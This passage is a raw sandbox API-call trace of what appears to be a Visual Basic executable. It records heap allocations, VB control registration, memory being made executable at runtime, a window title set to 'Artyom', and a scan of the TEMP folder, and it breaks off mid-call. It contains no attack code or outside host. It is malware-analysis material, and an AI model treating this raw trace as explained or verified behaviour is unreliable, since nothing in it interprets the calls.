Flags=0x8, Size=0x15) returned 0x3831858 [0056.845] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3832440 [0056.845] lstrlenA (lpString="VB") returned 2 [0056.845] lstrlenA (lpString="PropertyPage") returned 12 [0056.845] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x10) returned 0x3832560 [0056.845] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x190) returned 0x3832578 [0056.845] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x88) returned 0x3832710 [0056.845] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x310) returned 0x38327a0 [0056.845] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x3825958, Size=0xa0) returned 0x3832ab8 [0056.846] lstrcmpiA (lpString1="VB.MDIForm", lpString2="VB.PropertyPage") returned -1 [0056.846] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831878 [0056.846] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x38259d8, Size=0xa0) returned 0x3832b60 [0056.846] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3832c08 [0056.846] lstrlenA (lpString="VB") returned 2 [0056.846] lstrlenA (lpString="UserDocument") returned 12 [0056.846] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x10) returned 0x3832d40 [0056.846] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x1c8) returned 0x3833128 [0056.846] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xa8) returned 0x3825958 [0056.846] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x370) returned 0x38332f8 [0056.846] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831898 [0056.846] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x20) returned 0x3825a08 [0056.847] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x170) returned 0x3833670 [0056.847] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3833800 [0056.847] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x12c) returned 0x38357e8 [0056.847] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x24) returned 0x3835920 [0056.847] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x38318b8 [0056.848] RtlAllocateHeap (HeapHandle=0x35e0000, Flags=0x8, Size=0x30) returned 0x35e08f0 [0056.848] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xa0) returned 0x3835950 [0056.848] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x38359f8 [0056.848] GetCurrentThreadId () returned 0x9ec [0056.848] GetCurrentThreadId () returned 0x9ec [0056.848] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x10) returned 0x3832d58 [0056.848] RtlAllocateHeap (HeapHandle=0x35e0000, Flags=0x8, Size=0x30) returned 0x35e0928 [0056.848] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xa0) returned 0x3835a28 [0056.848] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3835ad0 [0056.848] GetCurrentThreadId () returned 0x9ec [0056.849] GetCurrentThreadId () returned 0x9ec [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x10) returned 0x3832d70 [0056.849] RtlAllocateHeap (HeapHandle=0x35e0000, Flags=0x8, Size=0x30) returned 0x35e0960 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xa0) returned 0x3835b00 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3835ba8 [0056.849] GetCurrentThreadId () returned 0x9ec [0056.849] GetCurrentThreadId () returned 0x9ec [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x10) returned 0x3832d88 [0056.849] RtlAllocateHeap (HeapHandle=0x35e0000, Flags=0x8, Size=0x30) returned 0x35e0998 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xa0) returned 0x3835bd8 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3835c80 [0056.849] GetCurrentThreadId () returned 0x9ec [0056.849] GetCurrentThreadId () returned 0x9ec [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x10) returned 0x3832da0 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3833928 [0056.849] lstrlenA (lpString="VB") returned 2 [0056.849] lstrlenA (lpString="CheckBox") returned 8 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832db8 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3835cb0 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xec) returned 0x3835ce0 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x48) returned 0x3835dd8 [0056.849] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1f8) returned 0x3835e28 [0056.850] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x38318d8 [0056.850] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3833a50 [0056.850] lstrlenA (lpString="VB") returned 2 [0056.850] lstrlenA (lpString="OptionButton") returned 12 [0056.850] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x10) returned 0x3832dd0 [0056.850] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3836028 [0056.850] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xd4) returned 0x3836058 [0056.850] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x4c) returned 0x3836138 [0056.850] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1c8) returned 0x3836190 [0056.850] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x38318f8 [0056.850] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3833b78 [0056.850] lstrlenA (lpString="VB") returned 2 [0056.850] lstrlenA (lpString="ComboBox") returned 8 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832de8 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x108) returned 0x3836360 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x4c) returned 0x3836470 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x230) returned 0x38364c8 [0056.851] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x3832ab8, Size=0xc8) returned 0x3836700 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831918 [0056.851] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x3832b60, Size=0xc8) returned 0x38367d0 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3833ca0 [0056.851] lstrlenA (lpString="VB") returned 2 [0056.851] lstrlenA (lpString="HScrollBar") returned 10 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xe) returned 0x3832e00 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x24) returned 0x3832ab8 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x90) returned 0x3832ae8 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3832b80 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x144) returned 0x38368a0 [0056.851] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831938 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3833dc8 [0056.852] lstrlenA (lpString="VB") returned 2 [0056.852] lstrlenA (lpString="VScrollBar") returned 10 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xe) returned 0x3832e18 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x24) returned 0x3832bb0 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x90) returned 0x38369f0 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3836a88 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x144) returned 0x3836ab8 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831958 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3833ef0 [0056.852] lstrlenA (lpString="VB") returned 2 [0056.852] lstrlenA (lpString="DriveListBox") returned 12 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x10) returned 0x3832e30 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3836c08 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xc0) returned 0x3836c38 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x40) returned 0x3836d00 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1a0) returned 0x3836d48 [0056.852] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831978 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3834018 [0056.853] lstrlenA (lpString="VB") returned 2 [0056.853] lstrlenA (lpString="DirListBox") returned 10 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xe) returned 0x3832e48 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x28) returned 0x3836ef0 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xc8) returned 0x3836f20 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x50) returned 0x3836ff0 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1b0) returned 0x3837048 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831998 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3834140 [0056.853] lstrlenA (lpString="VB") returned 2 [0056.853] lstrlenA (lpString="Menu") returned 4 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x8) returned 0x3832be0 [0056.853] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x38) returned 0x3837200 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x4) returned 0x3832bf0 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb8) returned 0x3837240 [0056.854] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x3836700, Size=0xf0) returned 0x3837300 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x38319b8 [0056.854] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x38367d0, Size=0xf0) returned 0x38373f8 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3834268 [0056.854] lstrlenA (lpString="VB") returned 2 [0056.854] lstrlenA (lpString="Shape") returned 5 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3832e60 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x1c) returned 0x3825a30 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x68) returned 0x3836700 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xfc) returned 0x3836770 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x38319d8 [0056.854] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3834390 [0056.854] lstrlenA (lpString="VB") returned 2 [0056.854] lstrlenA (lpString="Line") returned 4 [0056.855] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x8) returned 0x3836878 [0056.855] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x38319f8 [0056.855] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x50) returned 0x38374f0 [0056.855] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xd0) returned 0x3837548 [0056.855] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831a18 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x38344b8 [0056.856] lstrlenA (lpString="VB") returned 2 [0056.856] lstrlenA (lpString="Image") returned 5 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3832e78 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x24) returned 0x3837620 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x98) returned 0x3837650 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x34) returned 0x38376f0 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x154) returned 0x3837730 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831a38 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x38345e0 [0056.856] lstrlenA (lpString="VB") returned 2 [0056.856] lstrlenA (lpString="Data") returned 4 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x8) returned 0x3836888 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xd8) returned 0x3837890 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x3c) returned 0x3837970 [0056.856] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1d8) returned 0x38379b8 [0056.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831a58 [0056.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x114) returned 0x3834708 [0056.857] lstrlenA (lpString="VB") returned 2 [0056.857] lstrlenA (lpString="OLE") returned 3 [0056.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x7) returned 0x3837b98 [0056.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x17c) returned 0x3837ba8 [0056.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x40) returned 0x3837d30 [0056.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x2f0) returned 0x3837d78 [0056.857] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x3837300, Size=0x118) returned 0x3838070 [0056.857] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831a78 [0056.857] RtlReAllocateHeap (Heap=0x3820000, Flags=0x0, Ptr=0x38373f8, Size=0x118) returned 0x3838190 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d2e8 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d358 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d3c8 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d438 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d4a8 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d518 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d588 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d5f8 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d668 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d6d8 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d748 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d7b8 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d828 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d898 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d920 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142d990 [0056.858] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142da00 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142da70 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142dae0 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142db50 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142dbc0 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142dc30 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142dca0 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x142dd10 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0xc) returned 0x142c9a0 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0x1f8) returned 0x142e908 [0056.859] IMalloc:GetSize (This=0x767666bc, pv=0x142e908) returned 0x1f8 [0056.859] IMalloc:Alloc (This=0x767666bc, cb=0x20) returned 0x1425810 [0056.860] GetCurrentThreadId () returned 0x9ec [0056.860] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x54) returned 0x3837300 [0056.860] GetCurrentThreadId () returned 0x9ec [0056.860] IMalloc:Alloc (This=0x767666bc, cb=0x1c) returned 0x1425838 [0056.860] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x104) returned 0x3837360 [0056.860] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x6f8) returned 0x38382b0 [0056.860] VirtualProtect (in: lpAddress=0x210000, dwSize=0x6000, flNewProtect=0x4, lpflOldProtect=0x18fdf8 | out: lpflOldProtect=0x18fdf8*=0x20) returned 1 [0056.860] GetCurrentProcess () returned 0xffffffff [0056.860] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x210000, dwSize=0x6000) returned 1 [0056.860] VirtualAlloc (lpAddress=0x210000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.861] VirtualAlloc (lpAddress=0x210000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.861] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xd4) returned 0x38389b0 [0056.861] VirtualAlloc (lpAddress=0x210000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.861] VirtualAlloc (lpAddress=0x210000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.861] VirtualProtect (in: lpAddress=0x210000, dwSize=0xa000, flNewProtect=0x20, lpflOldProtect=0x18fdf8 | out: lpflOldProtect=0x18fdf8*=0x4) returned 1 [0056.863] GetCurrentProcess () returned 0xffffffff [0056.863] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x210000, dwSize=0xa000) returned 1 [0056.863] GetCurrentThreadId () returned 0x9ec [0056.863] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x23ec) returned 0x3838a90 [0056.874] GetCurrentThreadId () returned 0x9ec [0056.874] SetWindowTextA (hWnd=0x170262, lpString="Artyom") returned 1 [0056.874] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0xc, wParam=0x0, lParam=0x18fd6c) returned 0x1 [0056.875] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x18fd54 | out: phkResult=0x18fd54*=0x0) returned 0x2 [0056.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP", cchWideChar=5, lpMultiByteStr=0x18f94c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP", lpUsedDefaultChar=0x0) returned 5 [0056.876] CompareStringA (Locale=0x0, dwCmpFlags=0x0, lpString1="", cchCount1=1, lpString2="", cchCount2=1) returned 2 [0056.876] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchCount1=4, lpString2="TEMP", cchCount2=4) returned 1 [0056.876] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchCount1=4, lpString2="TEMP", cchCount2=4) returned 2 [0056.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d40795, cbMultiByte=37, lpWideCharStr=0x142f31c, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 37 [0056.876] SysReAllocStringLen (in: pbstr=0x18f9dc*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", psz=0x0, len=0x24 | out: pbstr=0x18f9dc*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 1 [0056.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x18f424, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 37 [0056.877] GetFullPathNameA (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", nBufferLength=0x104, lpBuffer=0x18f660, lpFilePart=0x18f41c | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpFilePart=0x18f41c*="Temp") returned 0x24 [0056.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x18f8ac, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 37 [0056.877] FindFirstFileA (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpFindFileData=0x18f3fc | out: lpFindFileData=0x18f3fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe8b92d80, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xe8b92d80, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142f368, dwReserved1=0x1410000, cFileName="Temp", cAlternateFileName="")) returned 0x142f3c8 [0056.878] FileTimeToLocalFileTime (in: lpFileTime=0x18f400, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0056.878] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0056.878] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="OS=Windows_NT", cchCount1=2, lpString2="TZ", cchCount2=2) returned 1 [0056.878] GetTimeZoneInformation (in: lpTimeZoneInformation=0x72a50f68 | out: lpTimeZoneInformation=0x72a50f68) returned 0x2 [0056.882] FileTimeToLocalFileTime (in: lpFileTime=0x18f408, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0056.882] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0056.882] FileTimeToLocalFileTime (in: lpFileTime=0x18f410, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0056.882] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0056.882] FindNextFileA (in: hFindFile=0x142f3c8, lpFindFileData=0x18f3fc | out: lpFindFileData=0x18f3fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe8b92d80, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xe8b92d80, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142f368, dwReserved1=0x1410000, cFileName="Temp", cAlternateFileName="")) returned 0 [0056.883] GetLastError () returned 0x12 [0056.883] GetLastError () returned 0x12 [0056.883] SetLastError (dwErrCode=0x12) [0056.883] FindClose (in: hFindFile=0x142f3c8 | out: hFindFile=0x142f3c8) returned 1 [0056.883] GetLastError () returned 0x12 [0056.883] SetLastError (dwErrCode=0x12) [0056.884] VarBstrCmp (bstrLeft="", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x1 [0056.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP", cchWideChar=5, lpMultiByteStr=0x18f94c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP", lpUsedDefaultChar=0x0) returned 5 [0056.884] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchCount1=4, lpString2="TEMP", cchCount2=4) returned 1 [0056.884] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchCount1=4, lpString2="TEMP", cchCount2=4) returned 2 [0056.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d40795, cbMultiByte=37, lpWideCharStr=0x142f93c, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 37 [0056.884] SysReAllocStringLen (in: pbstr=0x18f9dc*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", psz=0x0, len=0x24 | out: pbstr=0x18f9dc*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 1 [0056.884] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.885] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.885] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.885] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x0 [0056.885] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x1 [0056.885] VarBstrCmp (bstrLeft="C:\\Users\\5P5NRG~1\\AppData\\Local", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x2 [0056.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\", cchWideChar=-1, lpMultiByteStr=0x18f35c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\", lpUsedDefaultChar=0x0) returned 33 [0056.885] GetFullPathNameA (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\", nBufferLength=0x104, lpBuffer=0x18f598, lpFilePart=0x18f354 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\", lpFilePart=0x18f354*=0x0) returned 0x20 [0056.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\", cchWideChar=-1, lpMultiByteStr=0x18f7e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\", lpUsedDefaultChar=0x0) 